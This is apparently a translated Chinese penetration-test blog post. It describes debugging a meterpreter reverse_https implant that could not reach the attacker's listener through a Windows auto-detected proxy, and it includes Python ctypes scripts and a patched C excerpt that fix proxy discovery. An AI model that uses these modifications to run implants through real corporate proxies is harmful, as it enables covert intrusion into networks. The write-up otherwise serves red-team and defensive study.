APT案例分析：一個基於meterpreter和Windows代理的攻擊事件

前言

幾個月前，在只可以通過代理進行訪問的公司windows網路中，我對其進行了我開發的模擬定製的APT攻擊。在測試過程中，我意外的發現我可以上傳https返回類型的meterpreter後門。一開始，我並不確定這個地方存在漏洞，或者這個地方對APT攻擊是否起作用。為了驗證這個地方是否存在漏洞，我現在需要處理好代理環境。

在對環境做了深入分析之後，我們使用的meterpreter模塊(windows/meterpreter/reverse_https)並沒有攻擊成功。

在介紹詳細攻擊信息前，我先介紹一下測試環境：

1. 靶機系統以及IP：Windows 8.1 x64商業版本 10.x.x.1892. 進入內網途徑：通過認證代理3. 代理ip以及埠：10.x.x.20:80804. 通過代理的外部Ip：190.x.x.x5. 攻擊者機器:190.y.y.y6. meterpreter選擇模塊:windows/meterpreter/reverse_https

下面截圖展示了靶機中的代理設置：

下面截圖展示了靶機中使用」autoprox.exe」.很顯然看到通過dhcp獲得代理設置。

在上面這張圖中我們可以觀察到，訪問」www.google.com「時，我們經過了10.x.x.20:8080代理伺服器。注意：根據我的分析，autoprox.exe(pierrelc@microsoft.com提供)會使用windows的API首先搜索通過DHCP的代理設置，如果沒有找到，他會繼續搜索通過DNS的代理設置。

攻擊過程分析

在分析這一問題過程中，我會更改一些meterpreter攻擊載荷的代碼，然後在被攻擊靶機中測試。因此這就需要我們產生https類型或者使用其他類型的meterpreter後門源碼。

注意：可以通過shellter或者任何受信任的軟體像putty.exe產生一個簡單的後門，另外使用powershell產生web協議模塊的meterpreter後門。我們會對產生的攻擊載荷進行修改，所以對所有的攻擊環境，只需要產生一個後門代碼。

我們在靶機中執行產生的後門軟體，攻擊值執行偵聽後門程序，觀察會發生什麼。接下來的屏幕截圖中展示了攻擊機中在443埠正在執行的偵聽，連接之後並沒有執行成功命令。

上圖中，我們可以發現靶機已經反向連接回我們的偵聽機器，然後獲得了一個meterpreter的shell。但是，這個shell並不能執行任何命令，緊接著這一會話就結束了。

從高層次的觀點來看，當靶機執行後門之後，會反彈回攻擊者機器上，然後下載一個相對較大的攻擊代碼進而注入到內存當中，然後持續控制靶機。這時被注入的meterpreter會再次連接攻擊者機器，然後運行攻擊者與靶機進行交互。

那麼現在從我們看到的現象中，我們可以推斷出第一階段已經成功，並且可以通過代理反彈到攻擊者機器。但是，當第二階段注入過程中，可能發生一些錯誤，導致命令執行不成功以及會話結束。

注意：在這種情況下，你可能會想知道是不是殺毒軟體進行了攔截，或者說網路管理員對https內容進行了監視。我手動創建了一個PEM證書，然後配置監聽器以便讓這一證書發揮作用，當metasploit的偵聽被訪問時，比較瀏覽器上觀察的指紋與剛剛創建的證書的指紋，以便確定證書在傳輸過程中並沒有被替換。這一步驟促使我繼續在別的方面尋找問題。

接下來，按照一般的思路很明顯就是嗅探在這一過程中的網路流量，去了解更多這一步驟發生的情況(從黑盒情況下來講)。

下面的截圖展示了通過wrieshark嗅探靶機的流量通信。

在上圖中，可以觀察到靶機(10.x.x.189)和代理伺服器(10.x.x.20:8080)的TCP流量通信。其中，靶機在第一個數據包中發送與攻擊機器(190.x.x.x:443)請求安全(SSL/TLS協議)連接的數據包。另外，還可以看到請求過程中使用了NTLM身份驗證(NTLMSSP_AUTH），並且代理伺服器返回的響應為「建立連接」(HTTP/1.1 200)，經過這些通信之後，SSL/TLS協議握手成功。

值得一提的是在上圖中展示了在執行後門之後的第一階段的網路通信發送以及接受是正常的。當連接建立之後，在兩端（客戶端以及服務端）經典的SSL/TLS握手已經形成，接下來在加密的頻道，攻擊第二階段的後門從攻擊機到靶機進行傳輸。

現在我們已經確定在部署meterpreter的第一個部分是沒有問題的，接下來就是為了了解第二部分發生了什麼，也就是在第一部分的攻擊載荷以及msf偵聽之間的通信中發生了什麼。為了找到答案，我們只需要繼續通過wireshark分析網路流量。

下方截圖展示了第一階段攻擊載荷以及msf偵聽之間的通信，並且試圖在靶機不使用代理直接與攻擊機器進行通信。

上述圖像前五個數據包中，可以看到靶機(10.x.x.189)與代理伺服器(10.x.x.20)通信中TCP連接終止欄位(FIN,ACK;FIN.ACK;ACK;)，接下來可以看到第六個數據包中包含從靶機不經過代理伺服器發送到攻擊機的TCP SYN標誌位(發起TCP握手)。最後，在靶機從網管接收到的第七個數據包中可以看到攻擊機機器不可達，不能從該網路直接訪問(還記得我說過這種情況需要代理到達互聯網)。

通過觀察這一過程的流量通信，可以理解為meterpreter會話中斷的原因是第二截斷的後門載荷不能返回到msf的偵聽中。

現在我們將要做的就是下載meterpreter的源代碼，然後嘗試去了解發生這一情況的根本原因。為了做這一任務，我們應該參考在Rapid7的github裡面的」Buiding-Windows」指南。現在按照指南的建議，我們可以使用Visual Studio 2013打開項目解決方案文件(metasploit-payloadscmeterpreterworkspacemeterpreter.sln)，之後就開始審計源代碼吧。

審計完源代碼之後，我們可以看到」server_transport_winhttp.c」文件中有一個實現代理的邏輯實現。(請通過參考引用快速定位源文件)

下面的屏幕截圖展示了meterpreter設置代理的部分代碼：

我從github中meterprter的reverse_https的相關線程中了解到，後門首先會嘗試使用WinHTTP Windows API來訪問互聯網。我們發現在源代碼中存在大量用於調試的dprintf語句，並且這將在我們運行過程中提供大量有價值的信息。

為了使調試信息能夠展示給我們，我們將common.h源代碼中的頭文件中的DEBUGTRACE預處理常量進行修改。這會使載入meterpreter動態鏈接庫的伺服器產生可以使用VS進行調試的窗口以及可以使用DebugView或者_Windbg_進行讀取信息。

下面的屏幕截圖是展示了在common.h源代碼中注釋的原始DEBUGTRACE常量。

下面截圖是展示了我們需要獲得調試信息進行的修改：

進行修改之後，我們將編譯好的放在「metasploit-payloadscmeterpreteroutputx86」位置中的metsrv.x86.dll複製到攻擊機的相應目錄。比如在我的機器中，目錄為:「/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasploit-payloads-1.1.26/data/meterpreter/」。在測試靶機中，運行」DebugView」工具然後運行剛剛產生的後門，再反彈回攻擊機器一個meterpreter會話。

接下來的截圖是展示了在靶機中進行調試的調試信息。

根據meterpreter後門的調試信息，我們現在已經快接近問題的根源所在。問題好像是由於代碼塊在處理windows代理過程中發生了問題。為了解決這一問題，我們需要分析源代碼進行修改以及調試。

如果多次產生meterpreter的C源代碼然後將產生的netsrv dll到攻擊者機器中進行測試這樣太浪費時間。於是使用python比較簡單的對代理模塊的代碼進行複製，並且在靶機中進行多次調試。

以下代碼是Meterpreter代碼片段，可以在server_transport_winhttp.c源代碼中找到，但是是以Python形式進行編寫：

import ctypesimport ctypes.wintypesimport sysclass WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure): _fields_ = [("fAutoDetect", ctypes.wintypes.BOOL), ("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR), ("lpszProxy", ctypes.wintypes.LPWSTR), ("lpszProxyBypass", ctypes.wintypes.LPWSTR)]class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure): _fields_ = [("dwFlags", ctypes.wintypes.DWORD), ("dwAutoDetectFlags", ctypes.wintypes.DWORD), ("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR), ("lpvReserved", ctypes.c_void_p), ("dwReserved", ctypes.wintypes.DWORD), ("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]class WINHTTP_PROXY_INFO(ctypes.Structure): _fields_ = [("dwAccessType", ctypes.wintypes.DWORD), ("lpszProxy", ctypes.wintypes.LPCWSTR), ("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]# dwFlags valuesWINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002# dwAutoDetectFlags valuesWINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002# Parameters for WinHttpOpenWINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0WINHTTP_NO_PROXY_NAME = 0WINHTTP_NO_PROXY_BYPASS = 0WINHTTP_FLAG_ASYNC = 0x10000000test_url = "http://www.google.com"# Gets the current user IE proxy configurationieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))if not result: print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError() sys.exit()print "[+] Got IE configuration"print "tAutoDetect: %s" % ieConfig.fAutoDetectprint "tAuto URL: %s" % ieConfig.lpszAutoConfigUrlprint "tProxy: %s" % ieConfig.lpszProxyprint "tProxy Bypass: %s" % ieConfig.lpszProxyBypass# We have three alternatives:# 1. The configuration is set to "auto detect" the proxy, that is, via DHCP or DNS (in that order)# 2. There is a URL for downloading the script with the configuration (proxy autoconfiguration, PAC)# 3. A manually configured proxy is being usedif ieConfig.lpszAutoConfigUrl: autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS() proxyInfo = WINHTTP_PROXY_INFO() print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT | WINHTTP_AUTOPROXY_CONFIG_URL autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A autoProxyOpts.fAutoLogonIfChallenged = True autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC) if not hInternet: print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError() sys.exit() result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), ctypes.byref(proxyInfo)) if not result: print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError() sys.exit() print "[+] Proxy Host: %s" % proxyInfo.lpszProxyelif ieConfig.lpszProxy: print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)

下面截圖是展示了在靶機中運行此腳本的輸出內容:

此腳本的輸出和我們獲得的調試信息輸出的內容是一樣的。攻擊過程中已經設置了AutoDetect參數，但是並沒有獲得代理地址。

如果再次檢查源代碼，你會意識到DHCP以及DNS很可能在判斷是否使用自動配置url的if代碼塊中。但是如果只有AutoDetect選項打開這個代碼塊並不會被執行。所以，可以判斷出這就是問題所在。

在靶機這種特殊的環境下，代理設置是通過DHCPde 252選項獲得的。下面截圖是展示在靶機中嗅探到的DHCP流量包。

通過在靶機中嗅探得到的DHCP通信中可以發現伺服器返回的DHCP應答包含了用於代理URL獲取有關信息的252選項(自動查找代理)。請記住，這一發現是在我們使用autoprox.exe之前獲得的。

在繼續發現問題之前，先了解一下windows為代理設置提供的三種方案:

1. 自動選擇配置:通過252選項(DHCP)獲得URL。或者在允許的情況下，通過DNS,LLMNR或者NBNS協議請求WPAD主機名。2. 使用自動配置腳本:從指定的url下載自動配置腳本，使用這個腳本進行代理選擇。3. 代理伺服器: 為不同的協議手動配置代理伺服器。

我們先在python環境中進行實驗，如果能夠成功，那麼我們再通過C進行編寫Meterpreter後門。

下面就是修改後的python代碼：

import ctypesimport ctypes.wintypesimport sysclass WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure): _fields_ = [("fAutoDetect", ctypes.wintypes.BOOL), ("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR), ("lpszProxy", ctypes.wintypes.LPWSTR), ("lpszProxyBypass", ctypes.wintypes.LPWSTR)]class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure): _fields_ = [("dwFlags", ctypes.wintypes.DWORD), ("dwAutoDetectFlags", ctypes.wintypes.DWORD), ("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR), ("lpvReserved", ctypes.c_void_p), ("dwReserved", ctypes.wintypes.DWORD), ("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]class WINHTTP_PROXY_INFO(ctypes.Structure): _fields_ = [("dwAccessType", ctypes.wintypes.DWORD), ("lpszProxy", ctypes.wintypes.LPCWSTR), ("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]# dwFlags valuesWINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002# dwAutoDetectFlags valuesWINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002# Parameters for WinHttpOpenWINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0WINHTTP_NO_PROXY_NAME = 0WINHTTP_NO_PROXY_BYPASS = 0WINHTTP_FLAG_ASYNC = 0x10000000test_url = "http://www.google.com"# Gets the current user IE proxy configurationieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))if not result: print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError() sys.exit()print "[+] Got IE configuration"print "tAutoDetect: %s" % ieConfig.fAutoDetectprint "tAuto URL: %s" % ieConfig.lpszAutoConfigUrlprint "tProxy: %s" % ieConfig.lpszProxyprint "tProxy Bypass: %s" % ieConfig.lpszProxyBypass# We have three alternatives:# 1. The configuration is to "auto detect" the proxy, that is, via DHCP or DNS# 2. There is a URL for the script with the configuratoin (proxy autoconfiguration, PAC)# 3. A manually configured proxy is being usedif ieConfig.lpszAutoConfigUrl or ieConfig.fAutoDetect: autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS() proxyInfo = WINHTTP_PROXY_INFO() if ieConfig.lpszAutoConfigUrl: print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL autoProxyOpts.dwAutoDetectFlags = 0 autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl if ieConfig.fAutoDetect: print "[+] IE config set to autodetect via DHCP or DNS" autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A autoProxyOpts.lpszAutoConfigUrl = 0 autoProxyOpts.fAutoLogonIfChallenged = True hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC) if not hInternet: print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError() sys.exit() result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), ctypes.byref(proxyInfo)) if not result: print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError() sys.exit() print "[+] Proxy Host: %s" % proxyInfo.lpszProxyelif ieConfig.lpszProxy: print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)

在修改後的代碼中我們可以發現現在後門會考慮通過DHCP或者DNS協議進行的代理。現在，讓我們執行這個後門，看看他是如何工作的。下面截圖展現了修改後的python代碼在靶機中的運行結果。

發現成功的選擇了通過DCHP或者DNS的代理配置。並且他顯示了和文章開頭一樣的代理伺服器(10.x.x.20).現在我們知道了這一段代碼是能夠工作的。我們進而將meterpreter的C代碼進行更新，即對server_transport_winhttp.c進行修改，然後進行測試。

下面代碼就是meterpreter代碼進行更新的部分:

...dprintf("[PROXY] Got IE configuration");dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no");dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl);dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy);dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass);if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect){ WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 }; WINHTTP_PROXY_INFO proxyInfo = { 0 }; if (ieConfig.fAutoDetect) { dprintf("[PROXY] IE config set to autodetect via DHCP or DNS"); autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; autoProxyOpts.lpszAutoConfigUrl = 0; } else if (ieConfig.lpszAutoConfigUrl) { dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl); autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; autoProxyOpts.dwAutoDetectFlags = 0; autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl; } autoProxyOpts.fAutoLogonIfChallenged = TRUE; if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo)) ...

修改之後，編譯後門，將生成的metsrv meterpreter dll複製到攻擊機中，然後再一次開啟偵聽等待靶機上線。

下面截圖展示了攻擊機器中反彈shell執行成功命令。

發現當靶機使用」Auto detect」設置時，meterpreter能夠執行命令。

問題根源所在

現在我們是時候討論一下當你閱讀這篇文章時可能遇到的感到困惑的地方:

* 為什麼要首先到達攻擊機。* 在攻擊的第一階段以及第二階段有什麼不同。

為了找到這些問題的答案，我們首先需要理解下meterpreter在這篇文章中是如何進行工作的。

先從一開始說起:windows的API通過https提供了兩種方法進行通信:WinInet和WinHTTP。在meterpreter處理https通信層時，有兩個比較有趣的功能：

1. 攻擊機器(https伺服器)具有提供的證書籤名的能力，防止像L7網路防火牆這樣的代理進行內容檢查。2. 獲取當前用戶代理設置的能力，以便能夠通過網路到達攻擊機器。

事實證明這兩個功能並不能在同一個API函數中找到，兩個API功能分別為：

WinInet：

1. 是否使用代理。意味著如果當前用戶的系統中使用了瀏覽器代理，那麼接下來就會對WinInet支持的程序進行代理。2. 不會對自定義的SSL/TLS證書進行代理。

WinHTTP：

1. 允許自定義的SSL證書進行代理。2. 不使用當前系統中的代理。

在meterpreter方面，我們可以使用兩種不同的攻擊載荷:

1. reverse_https攻擊載荷使用的是WinInet的Windows API,意味著不會通過證書驗證，但是可以使用系統當前的代理配置。於是，如果用戶可以通過IE進行網路訪問，那麼這個攻擊載荷就可以進行工作。2. reverse_winhttps攻擊載荷使用的是Winhttp的Windows API，意味著他可以通過證書驗證，不過系統當前的代理設置不會被使用。

這種情況下的meterpreter攻擊載荷使用的是默認的WinHTTP windows API，如果出現錯誤就會再次返回WinInet。在用戶使用」強制模式」下，優先檢測證書。因為WinInet不能驗證證書，所以他被認為是一個錯誤。

注意：在meterpreter中，」強制模式」意味著需要驗證SSL/TLS證書的簽名。如果簽名已經被替換，那麼這一階段就不能進行訪問，因此會話不能建立。如果當前用戶使用的是」強制模式」，那麼攻擊載荷應該使用WinHTTP。

現在我們有足夠的基礎知識去理解我們面對的困難。我剛才使用的是」reverse_https」meterpreter的攻擊載荷(沒有考慮到測試環境中的強制模式)，這就意味著第一階段後門通過Windows API使用當前用戶的代理設置反彈到偵聽機器中。但是因為默認攻擊載荷使用的是WinHTTP API，根據我的推測他在第二階段有個錯誤，所以我認為他不能返回到偵聽者的機器中。所以我認為這是上面兩個問題的答案。

代理識別方法

另外一個我們沒有回答的問題是：當我們使用WinHTTP windows API函數時，應該怎麼樣獲取當前用戶的代理設置？

為了找到答案，我們需要在測試主機上設置多個代理選項，設置訪問優先順序，測試當一個代理選項不能用時，系統下一步會進行什麼操作？換句話說它會不會自動執行另外一個選項。

根據我所得到的結論，在設置網路代理的對話框中的代理選項是按照他們的優先順序進行設置的。首先是」自動選擇配置」，接下來是」使用自動配置腳本」，然後是」在區域網中使用代理」。

另外，可以在微軟MSDN的」開發者代碼實例」找到關於使用WinHTTP API的示例代碼,其中代碼說明如下:

請使用如下的步驟使用進行代理設置：1. 配置自動選擇配置2. 配置自動選擇url3. 配置靜態代理設置

我們之前的設置已經和說明相符。

容錯實現

最後一個問題，如果我配置了多個代理選項，不過一個優先順序高的代理不起作用，那麼會發生什麼？主機會一直向下尋找，直到找到一個有用的配置為止。

為了尋找到這一個答案，我們需要進行一些實驗，或者花費幾個小時逆向分析設置這一部分的組件，主要是wininet.dll。所以我們選擇進行一些實驗，當然這樣會比較省時。

實驗設置

為了更深層次的分析Windows代理設置以及工作，我搭建了具有以下功能的實驗環境:

一個擁有一個域控制器的域環境：

三個線程管理網關：

每一個線程管理網關擁有兩個網卡:」internal」網卡在192.168.0.x網段，連接到了域環境中，允許客戶端通過網路到達。另外一個網卡連接到了另外一個網路，並使用代理進行網路訪問。

一個windows客戶端(windows 8.1 x64):

通過DHCP進行IP分配

其中代理配置:

通過DHCP(選項252)： tmg1.lab.bransh.com

通過腳本代理：http://tmg2.lab.bransh.com/wpad.dat

手工設置： tmg3.lab.bransh.com:8080

客戶端不能直接訪問網路

火狐瀏覽器已經設置使用系統代理

下方截圖顯示了windows客戶端代理設置：

下方截圖顯示了通過DHCP進行代理的流量:

注意:」自動選擇配置」選項不能選擇通過DHCP或者DNS進行的代理。當我們使用windowsAPI時，我們需要手動選擇需要使用哪一個，或者兩個都使用。通過使用Windows提供的API的簡單代碼，可以測試幾個代理方案。我這時同樣使用python編寫代碼，因為修改和運行代碼非常容易，而無需在每次需要修改時在測試機器中編譯c或者c++代碼。不過，也可以使用你喜歡的語言進行編寫：

點擊展開全文

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！